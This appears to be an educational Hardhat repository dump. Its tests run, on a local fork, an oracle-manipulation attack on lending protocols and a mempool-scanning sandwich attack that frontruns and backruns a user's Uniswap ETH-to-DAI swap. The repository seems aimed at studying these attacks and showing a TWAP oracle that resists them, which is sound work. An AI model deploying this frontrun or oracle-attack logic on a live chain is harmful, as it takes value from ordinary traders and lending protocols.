wei 91 | }) 92 | ) 93 | await mine() 94 | await attackTx.wait() 95 | 96 | // Show that we're in profit 97 | const resultingDai = await getDaiBalance(simpleOracleAttack.address) 98 | console.log(`Profit: ${ethers.utils.formatEther(resultingDai.sub(startingDai))} DAI`) 99 | expect(resultingDai.gt(startingDai)).to.equal(true) 100 | }) 101 | }) 102 | 103 | async function getDaiBalance(address: string) { 104 | const Dai = await ethers.getContractAt(daiAbi, daiAddress) 105 | const [balance] = (await Dai.functions.balanceOf(address)) as [BigNumber] 106 | return balance 107 | } 108 | 109 | async function mine() { 110 | await network.provider.send('evm_mine', []) 111 | } 112 | -------------------------------------------------------------------------------- /test/resistant-price-oracle.spec.ts: -------------------------------------------------------------------------------- 1 | import { ethers, network } from 'hardhat' 2 | import { expect, use } from 'chai' 3 | use(require('chai-as-promised')) 4 | // @ts-ignore 5 | import * as daiAbi from '../contracts/interfaces/Dai.json' 6 | 7 | const BigNumber = ethers.BigNumber 8 | type BigNumber = ReturnType 9 | 10 | const daiAddress = '0x6B175474E89094C44Da98b954EedeAC495271d0F' 11 | 12 | describe('Oracle manipulation', function () { 13 | it('should fail when trying to manipulate a resistant price oracle', async function () { 14 | // Init stuff 15 | const signers = await ethers.getSigners() 16 | const signer = signers[0] // Loaded with 10k ETH 17 | 18 | // Deploy TWAP price oracle (must be first) 19 | const PriceOracle = await ethers.getContractFactory('DaiWethTwapPriceOracle') 20 | const priceOracle = await PriceOracle.deploy() 21 | await Promise.all([mine(), priceOracle.deployed()]) 22 | console.log((await priceOracle.functions.getEthTwapPrice())[0].toString()) 23 | // Deploy force sender 24 | const ForceSendEther = await ethers.getContractFactory('ForceSendEther') 25 | const forceSendEther = await ForceSendEther.deploy() 26 | // Deploy simple oracle example 27 | const ResistantLendingProtocol = await ethers.getContractFactory('ResistantLendingProtocol') 28 | const resistantLendingProtocol = await ResistantLendingProtocol.deploy(priceOracle.address) 29 | await Promise.all([mine(), forceSendEther.deployed(), resistantLendingProtocol.deployed()]) 30 | // Deploy attacker contract 31 | const SimpleOracleAttack = await ethers.getContractFactory('SimpleOracleAttack') 32 | const simpleOracleAttack = await SimpleOracleAttack.deploy(resistantLendingProtocol.address) 33 | await Promise.all([mine(), simpleOracleAttack.deployed()]) 34 | 35 | console.log('Setting up DAI Join Adapter...') 36 | const daiJoinAdapterAddress = '0x9759A6Ac90977b93B58547b4A71c78317f391A28' 37 | await network.provider.request({ 38 | method: 'hardhat_impersonateAccount', 39 | /** MakerDAO DaiJoin Adapter - The only ward in the DAI contract */ 40 | // Ref: https://github.com/makerdao/developerguides/blob/master/dai/dai-token/dai-token.md#authority 41 | params: [daiJoinAdapterAddress], 42 | }) 43 | const daiSigner = await ethers.getSigner(daiJoinAdapterAddress) 44 | // Force send some ETH to the DaiJoin Adapter 45 | const sendEthToDaiJoinTx = await signer.sendTransaction( 46 | await forceSendEther.populateTransaction.forceSend(daiJoinAdapterAddress, { 47 | value: ethers.utils.parseEther('10.0'), 48 | gasLimit: BigNumber.from(300000), // DAI swap is usually ~200k gas 49 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in wei 50 | }) 51 | ) 52 | // Send ETH to the attacker contract 53 | const sendEthToAttackTx = await signer.sendTransaction({ 54 | // For collateral + gas 55 | // TODO: Get this from a flash loan 56 | to: simpleOracleAttack.address, 57 | value: ethers.utils.parseEther('101.0'), 58 | gasLimit: BigNumber.from(300000), 59 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in wei 60 | }) 61 | await Promise.all([mine(), sendEthToDaiJoinTx.wait(), sendEthToAttackTx.wait()]) 62 | 63 | // Mint some DAI for the lending protocol 64 | console.log('Minting DAI for lending protocol...') 65 | const Dai = await ethers.getContractAt(daiAbi, daiAddress, daiSigner) 66 | let mintDaiTx = await daiSigner.sendTransaction( 67 | await Dai.populateTransaction.mint( 68 | resistantLendingProtocol.address, 69 | ethers.utils.parseEther('100000000') 70 | ) 71 | ) 72 | await mine() 73 | await mintDaiTx.wait() 74 | 75 | // Mint some DAI for the attacker 76 | // Normally, as an adversary, we would take out a flash loan for this DAI 77 | console.log('Minting DAI for attacker...') 78 | mintDaiTx = await daiSigner.sendTransaction( 79 | await Dai.populateTransaction.mint( 80 | simpleOracleAttack.address, 81 | // TODO: Use amount of DAI based on LP reserves 82 | ethers.utils.parseEther('30000000') 83 | ) 84 | ) 85 | await mine() 86 | await mintDaiTx.wait() 87 | const startingDai = await getDaiBalance(simpleOracleAttack.address) 88 | 89 | const attackTx = await signer.sendTransaction( 90 | await simpleOracleAttack.populateTransaction.attack({ 91 | gasLimit: BigNumber.from(10000000), 92 | gasPrice: BigNumber.from(10).mul(BigNumber.from(10).pow(9)), // in wei 93 | }) 94 | ) 95 | await mine() 96 | // Expect that this will fail because the price oracle is a TWAP oracle! 97 | await expect(attackTx.wait()).to.be.rejectedWith(Error) 98 | 99 | // Show that we're in profit 100 | const resultingDai = await getDaiBalance(simpleOracleAttack.address) 101 | console.log(`Profit: ${ethers.utils.formatEther(resultingDai.sub(startingDai))} DAI`) 102 | }) 103 | }) 104 | 105 | async function getDaiBalance(address: string) { 106 | const Dai = await ethers.getContractAt(daiAbi, daiAddress) 107 | const [balance] = (await Dai.functions.balanceOf(address)) as [BigNumber] 108 | return balance 109 | } 110 | 111 | async function mine() { 112 | await network.provider.send('evm_mine', []) 113 | } 114 | -------------------------------------------------------------------------------- /contracts/interfaces/Dai.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "inputs": [ 4 | { "internalType": "uint256", "name": "chainId_", "type": "uint256" } 5 | ], 6 | "payable": false, 7 | "stateMutability": "nonpayable", 8 | "type": "constructor" 9 | }, 10 | { 11 | "anonymous": false, 12 | "inputs": [ 13 | { 14 | "indexed": true, 15 | "internalType": "address", 16 | "name": "src", 17 | "type": "address" 18 | }, 19 | { 20 | "indexed": true, 21 | "internalType": "address", 22 | "name": "guy", 23 | "type": "address" 24 | }, 25 | { 26 | "indexed": false, 27 | "internalType": "uint256", 28 | "name": "wad", 29 | "type": "uint256" 30 | } 31 | ], 32 | "name": "Approval", 33 | "type": "event" 34 | }, 35 | { 36 | "anonymous": true, 37 | "inputs": [ 38 | { 39 | "indexed": true, 40 | "internalType": "bytes4", 41 | "name": "sig", 42 | "type": "bytes4" 43 | }, 44 | { 45 | "indexed": true, 46 | "internalType": "address", 47 | "name": "usr", 48 | "type": "address" 49 | }, 50 | { 51 | "indexed": true, 52 | "internalType": "bytes32", 53 | "name": "arg1", 54 | "type": "bytes32" 55 | }, 56 | { 57 | "indexed": true, 58 | "internalType": "bytes32", 59 | "name": "arg2", 60 | "type": "bytes32" 61 | }, 62 | { 63 | "indexed": false, 64 | "internalType": "bytes", 65 | "name": "data", 66 | "type": "bytes" 67 | } 68 | ], 69 | "name": "LogNote", 70 | "type": "event" 71 | }, 72 | { 73 | "anonymous": false, 74 | "inputs": [ 75 | { 76 | "indexed": true, 77 | "internalType": "address", 78 | "name": "src", 79 | "type": "address" 80 | }, 81 | { 82 | "indexed": true, 83 | "internalType": "address", 84 | "name": "dst", 85 | "type": "address" 86 | }, 87 | { 88 | "indexed": false, 89 | "internalType": "uint256", 90 | "name": "wad", 91 | "type": "uint256" 92 | } 93 | ], 94 | "name": "Transfer", 95 | "type": "event" 96 | }, 97 | { 98 | "constant": true, 99 | "inputs": [], 100 | "name": "DOMAIN_SEPARATOR", 101 | "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], 102 | "payable": false, 103 | "stateMutability": "view", 104 | "type": "function" 105 | }, 106 | { 107 | "constant": true, 108 | "inputs": [], 109 | "name": "PERMIT_TYPEHASH", 110 | "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], 111 | "payable": false, 112 | "stateMutability": "view", 113 | "type": "function" 114 | }, 115 | { 116 | "constant": true, 117 | "inputs": [ 118 | { "internalType": "address", "name": "", "type": "address" }, 119 | { "internalType": "address", "name": "", "type": "address" } 120 | ], 121 | "name": "allowance", 122 | "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], 123 | "payable": false, 124 | "stateMutability": "view", 125 | "type": "function" 126 | }, 127 | { 128 | "constant": false, 129 | "inputs": [ 130 | { "internalType": "address", "name": "usr", "type": "address" }, 131 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 132 | ], 133 | "name": "approve", 134 | "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], 135 | "payable": false, 136 | "stateMutability": "nonpayable", 137 | "type": "function" 138 | }, 139 | { 140 | "constant": true, 141 | "inputs": [{ "internalType": "address", "name": "", "type": "address" }], 142 | "name": "balanceOf", 143 | "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], 144 | "payable": false, 145 | "stateMutability": "view", 146 | "type": "function" 147 | }, 148 | { 149 | "constant": false, 150 | "inputs": [ 151 | { "internalType": "address", "name": "usr", "type": "address" }, 152 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 153 | ], 154 | "name": "burn", 155 | "outputs": [], 156 | "payable": false, 157 | "stateMutability": "nonpayable", 158 | "type": "function" 159 | }, 160 | { 161 | "constant": true, 162 | "inputs": [], 163 | "name": "decimals", 164 | "outputs": [{ "internalType": "uint8", "name": "", "type": "uint8" }], 165 | "payable": false, 166 | "stateMutability": "view", 167 | "type": "function" 168 | }, 169 | { 170 | "constant": false, 171 | "inputs": [{ "internalType": "address", "name": "guy", "type": "address" }], 172 | "name": "deny", 173 | "outputs": [], 174 | "payable": false, 175 | "stateMutability": "nonpayable", 176 | "type": "function" 177 | }, 178 | { 179 | "constant": false, 180 | "inputs": [ 181 | { "internalType": "address", "name": "usr", "type": "address" }, 182 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 183 | ], 184 | "name": "mint", 185 | "outputs": [], 186 | "payable": false, 187 | "stateMutability": "nonpayable", 188 | "type": "function" 189 | }, 190 | { 191 | "constant": false, 192 | "inputs": [ 193 | { "internalType": "address", "name": "src", "type": "address" }, 194 | { "internalType": "address", "name": "dst", "type": "address" }, 195 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 196 | ], 197 | "name": "move", 198 | "outputs": [], 199 | "payable": false, 200 | "stateMutability": "nonpayable", 201 | "type": "function" 202 | }, 203 | { 204 | "constant": true, 205 | "inputs": [], 206 | "name": "name", 207 | "outputs": [{ "internalType": "string", "name": "", "type": "string" }], 208 | "payable": false, 209 | "stateMutability": "view", 210 | "type": "function" 211 | }, 212 | { 213 | "constant": true, 214 | "inputs": [{ "internalType": "address", "name": "", "type": "address" }], 215 | "name": "nonces", 216 | "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], 217 | "payable": false, 218 | "stateMutability": "view", 219 | "type": "function" 220 | }, 221 | { 222 | "constant": false, 223 | "inputs": [ 224 | { "internalType": "address", "name": "holder", "type": "address" }, 225 | { "internalType": "address", "name": "spender", "type": "address" }, 226 | { "internalType": "uint256", "name": "nonce", "type": "uint256" }, 227 | { "internalType": "uint256", "name": "expiry", "type": "uint256" }, 228 | { "internalType": "bool", "name": "allowed", "type": "bool" }, 229 | { "internalType": "uint8", "name": "v", "type": "uint8" }, 230 | { "internalType": "bytes32", "name": "r", "type": "bytes32" }, 231 | { "internalType": "bytes32", "name": "s", "type": "bytes32" } 232 | ], 233 | "name": "permit", 234 | "outputs": [], 235 | "payable": false, 236 | "stateMutability": "nonpayable", 237 | "type": "function" 238 | }, 239 | { 240 | "constant": false, 241 | "inputs": [ 242 | { "internalType": "address", "name": "usr", "type": "address" }, 243 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 244 | ], 245 | "name": "pull", 246 | "outputs": [], 247 | "payable": false, 248 | "stateMutability": "nonpayable", 249 | "type": "function" 250 | }, 251 | { 252 | "constant": false, 253 | "inputs": [ 254 | { "internalType": "address", "name": "usr", "type": "address" }, 255 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 256 | ], 257 | "name": "push", 258 | "outputs": [], 259 | "payable": false, 260 | "stateMutability": "nonpayable", 261 | "type": "function" 262 | }, 263 | { 264 | "constant": false, 265 | "inputs": [{ "internalType": "address", "name": "guy", "type": "address" }], 266 | "name": "rely", 267 | "outputs": [], 268 | "payable": false, 269 | "stateMutability": "nonpayable", 270 | "type": "function" 271 | }, 272 | { 273 | "constant": true, 274 | "inputs": [], 275 | "name": "symbol", 276 | "outputs": [{ "internalType": "string", "name": "", "type": "string" }], 277 | "payable": false, 278 | "stateMutability": "view", 279 | "type": "function" 280 | }, 281 | { 282 | "constant": true, 283 | "inputs": [], 284 | "name": "totalSupply", 285 | "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], 286 | "payable": false, 287 | "stateMutability": "view", 288 | "type": "function" 289 | }, 290 | { 291 | "constant": false, 292 | "inputs": [ 293 | { "internalType": "address", "name": "dst", "type": "address" }, 294 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 295 | ], 296 | "name": "transfer", 297 | "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], 298 | "payable": false, 299 | "stateMutability": "nonpayable", 300 | "type": "function" 301 | }, 302 | { 303 | "constant": false, 304 | "inputs": [ 305 | { "internalType": "address", "name": "src", "type": "address" }, 306 | { "internalType": "address", "name": "dst", "type": "address" }, 307 | { "internalType": "uint256", "name": "wad", "type": "uint256" } 308 | ], 309 | "name": "transferFrom", 310 | "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], 311 | "payable": false, 312 | "stateMutability": "nonpayable", 313 | "type": "function" 314 | }, 315 | { 316 | "constant": true, 317 | "inputs": [], 318 | "name": "version", 319 | "outputs": [{ "internalType": "string", "name": "", "type": "string" }], 320 | "payable": false, 321 | "stateMutability": "view", 322 | "type": "function" 323 | }, 324 | { 325 | "constant": true, 326 | "inputs": [{ "internalType": "address", "name": "", "type": "address" }], 327 | "name": "wards", 328 | "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], 329 | "payable": false, 330 | "stateMutability": "view", 331 | "type": "function" 332 | } 333 | ] 334 | -------------------------------------------------------------------------------- /test/frontrun.spec.ts: -------------------------------------------------------------------------------- 1 | import { network, ethers } from 'hardhat' 2 | import { expect } from 'chai' 3 | // @ts-ignore 4 | import * as DaiAbi from '../contracts/interfaces/Dai.json' 5 | // @ts-ignore 6 | import * as IUniswapV2Router02 from '@uniswap/v2-periphery/build/IUniswapV2Router02.json' 7 | // @ts-ignore 8 | import * as IUniswapV2Pair from '@uniswap/v2-core/build/IUniswapV2Pair.json' 9 | const abiDecoder = require('abi-decoder') 10 | 11 | const uniswapV2RouterAddress = '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D' 12 | const daiAddress = '0x6B175474E89094C44Da98b954EedeAC495271d0F' 13 | const uniswapV2DaiEthPairAddress = '0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11' 14 | 15 | const BigNumber = ethers.BigNumber 16 | type BigNumber = ReturnType 17 | 18 | describe('Frontrun', function () { 19 | it('should perform successful sandwich attack', async function () { 20 | /// Simulate an ETH->DAI swap on Uniswap V2 21 | const amountEthToSwap = ethers.utils.parseEther('1000.0') 22 | const slippageTolerance = BigNumber.from(10) // Percentage, integers only, 100 == 100% 23 | 24 | // Get quote from Uniswap Router 25 | const uniswapV2Router = await new ethers.Contract( 26 | uniswapV2RouterAddress, 27 | IUniswapV2Router02.abi, 28 | await ethers.getSigner((await ethers.getSigners())[0].address) 29 | ) 30 | const wethAddress = (await uniswapV2Router.functions.WETH())[0] 31 | const amountsOut = ( 32 | await uniswapV2Router.functions.getAmountsOut(amountEthToSwap, [ 33 | wethAddress, 34 | daiAddress, 35 | ]) 36 | )[0] 37 | const inAmount = BigNumber.from(amountsOut[0]) 38 | const outAmount = BigNumber.from(amountsOut[1]) 39 | console.log( 40 | `Quote: ${ethers.utils 41 | .formatEther(inAmount.toString()) 42 | .toString()} ETH -> ${ethers.utils 43 | .formatEther(outAmount.toString()) 44 | .toString()} DAI` 45 | ) 46 | 47 | // Calculate minimum output amount of DAI within our slippage tolerance 48 | const minOutAmountDai = outAmount.div(100).mul(BigNumber.from(100).sub(slippageTolerance)) 49 | console.log(`Minimum received: ${ethers.utils.formatEther(minOutAmountDai)} DAI`) 50 | 51 | // Build swap transaction with slippage calculated 52 | const signers = await ethers.getSigners() 53 | const signer = signers[0] // Loaded with 10k ETH 54 | const deadline = Date.now() + 60 * 1000 // 1 minute 55 | const swapTx = await uniswapV2Router.populateTransaction.swapExactETHForTokens( 56 | minOutAmountDai, 57 | [wethAddress, daiAddress], 58 | signer.address, 59 | deadline, 60 | { 61 | value: amountEthToSwap, // ETH to send (in wei) 62 | gasLimit: BigNumber.from(300000), // DAI swap is usually ~200k gas 63 | gasPrice: BigNumber.from(100).mul(BigNumber.from(10).pow(9)), // in wei 64 | } 65 | ) 66 | const swapTxResult = await signer.sendTransaction(swapTx) 67 | console.log(`Sent tx ${swapTxResult.hash} from ${signer.address}!`) 68 | 69 | /// Begin attack code 70 | 71 | // Pending transactions 72 | const pendingBlock = await network.provider.send('eth_getBlockByNumber', ['pending', false]) 73 | console.log( 74 | `There are ${pendingBlock.transactions.length} pending transactions in the next block.` 75 | ) 76 | 77 | abiDecoder.addABI(IUniswapV2Router02.abi) 78 | for (const txHash of pendingBlock.transactions as string[]) { 79 | const tx = await network.provider.send('eth_getTransactionByHash', [txHash]) 80 | // As the attacker, we are only interested in txes directed to this particular contract 81 | if (!BigNumber.from(tx.to).eq(uniswapV2RouterAddress)) { 82 | console.log(tx.to) 83 | console.log('Skipping tx: not UniswapV2Router') 84 | continue 85 | } 86 | const decodedCall = abiDecoder.decodeMethod(tx.input) // We assume this throws in invalid txes 87 | // For this particular attack, we are only interested in this transaction 88 | // if it's the swap ETH->token method 89 | if (decodedCall.name !== 'swapExactETHForTokens') { 90 | console.log('Skipping tx: not swapExactETHForTokens') 91 | continue 92 | } 93 | const pathParam = decodedCall.params.find((param: any) => param.name === 'path') 94 | // For this attack, we are only interested in this transaction 95 | // if the path begins with WETH (input currency) and ends with DAI (output currency) 96 | if ( 97 | !BigNumber.from(pathParam.value[0]).eq(wethAddress) || 98 | !BigNumber.from(pathParam.value[pathParam.value.length - 1]).eq(daiAddress) 99 | ) { 100 | console.warn('Skipping tx, not WETH->DAI swap') 101 | continue 102 | } 103 | 104 | const attacker = signers[1] 105 | const uniswapV2Router = await new ethers.Contract( 106 | uniswapV2RouterAddress, 107 | IUniswapV2Router02.abi, 108 | await ethers.getSigner(attacker.address) 109 | ) 110 | 111 | const amountOutMinParam = decodedCall.params.find( 112 | (param: any) => param.name === 'amountOutMin' 113 | ) 114 | /** This is the amount of DAI the user will receive as minimum */ 115 | const userMinDaiValue = BigNumber.from(amountOutMinParam.value) 116 | const userWethValue = BigNumber.from(tx.value) 117 | 118 | // Query maximum output amount of DAI with this amount of WETH as input 119 | const amountsOut = ( 120 | await uniswapV2Router.functions.getAmountsOut(userWethValue, [ 121 | wethAddress, 122 | daiAddress, 123 | ]) 124 | )[0] 125 | const actualDaiOutAmount = BigNumber.from(amountsOut[1]) 126 | 127 | // Compare to DAI output from querying price - what is the slippage tolerance? 128 | if (!actualDaiOutAmount.gt(userMinDaiValue)) { 129 | // There is no value to extract 130 | console.warn( 131 | `No value to extract: required DAI is ${ethers.utils.formatEther( 132 | userMinDaiValue 133 | )} DAI and actual output amount is ${ethers.utils.formatEther( 134 | actualDaiOutAmount 135 | )} DAI` 136 | ) 137 | continue 138 | } 139 | 140 | const uniswapV2DaiEthPair = await new ethers.Contract( 141 | uniswapV2DaiEthPairAddress, 142 | IUniswapV2Pair.abi, 143 | await ethers.getSigner((await ethers.getSigners())[0].address) 144 | ) 145 | const [daiReserve, wethReserve] = 146 | (await uniswapV2DaiEthPair.functions.getReserves()) as [BigNumber, BigNumber] 147 | console.log( 148 | `DAI: ${ethers.utils.formatEther(daiReserve)}, WETH: ${ethers.utils.formatEther( 149 | wethReserve 150 | )}` 151 | ) 152 | /** DAI-WETH constant product k = dai_liq * eth_liq */ 153 | const k = daiReserve.mul(wethReserve) 154 | console.log(`k: ${k}`) 155 | 156 | // User expects a minimum amount of DAI. (`userMinDaiValue`) 157 | // We now calculate how much ETH we can sell s.t. 158 | // the user gets >= minimum amount of DAI expected. 159 | 160 | // Frontrun ETH->DAI with calculated slippage 161 | const amountEthToSwap = ethers.utils.parseEther('10') 162 | const frontrunTx = await uniswapV2Router.populateTransaction.swapExactETHForTokens( 163 | userMinDaiValue, 164 | [wethAddress, daiAddress], 165 | attacker.address, 166 | deadline, 167 | { 168 | value: amountEthToSwap, // ETH to send (in wei) 169 | gasLimit: BigNumber.from(300000), // DAI swap is usually ~200k gas 170 | // Jack the gas price based on user's trade to be included before user's trade 171 | gasPrice: BigNumber.from(100).mul(BigNumber.from(10).pow(9)).add(tx.gasPrice), 172 | } 173 | ) 174 | const frontrunTxResult = await attacker.sendTransaction(frontrunTx) 175 | console.log(`Sent frontrun pump tx ${frontrunTxResult.hash} from ${attacker.address}!`) 176 | 177 | const amountDaiSell = userMinDaiValue // TODO: Get actual amount 178 | const backrunTx = await uniswapV2Router.populateTransaction.swapExactTokensForETH( 179 | amountDaiSell, 180 | amountEthToSwap.div(100).mul(101), 181 | [daiAddress, wethAddress], 182 | attacker.address, 183 | deadline, 184 | { 185 | gasLimit: BigNumber.from(300000), // DAI swap is usually ~200k gas 186 | // Set the gas price to user's trade -1 gwei 187 | gasPrice: tx.gasPrice, 188 | } 189 | ) 190 | const backrunTxResult = await attacker.sendTransaction(backrunTx) 191 | console.log(`Sent frontrun dump tx ${backrunTxResult.hash} from ${attacker.address}!`) 192 | 193 | // Show pending block with inserted transactions 194 | const pendingBlockWithInsertedTxes = await network.provider.send( 195 | 'eth_getBlockByNumber', 196 | ['pending', false] 197 | ) 198 | // Array of transaction hashes 199 | const blockTxes = pendingBlockWithInsertedTxes.transactions as string[] 200 | // Assert that we have guaranteed the transaction order! 201 | expect(blockTxes.indexOf(frontrunTxResult.hash)).to.equal(blockTxes.indexOf(txHash) - 1) 202 | expect(blockTxes.indexOf(backrunTxResult.hash)).to.equal(blockTxes.indexOf(txHash) + 1) 203 | 204 | // Signal to the miner to mine the block 205 | await network.provider.send('evm_mine', []) 206 | } 207 | }) 208 | }) 209 | --------------------------------------------------------------------------------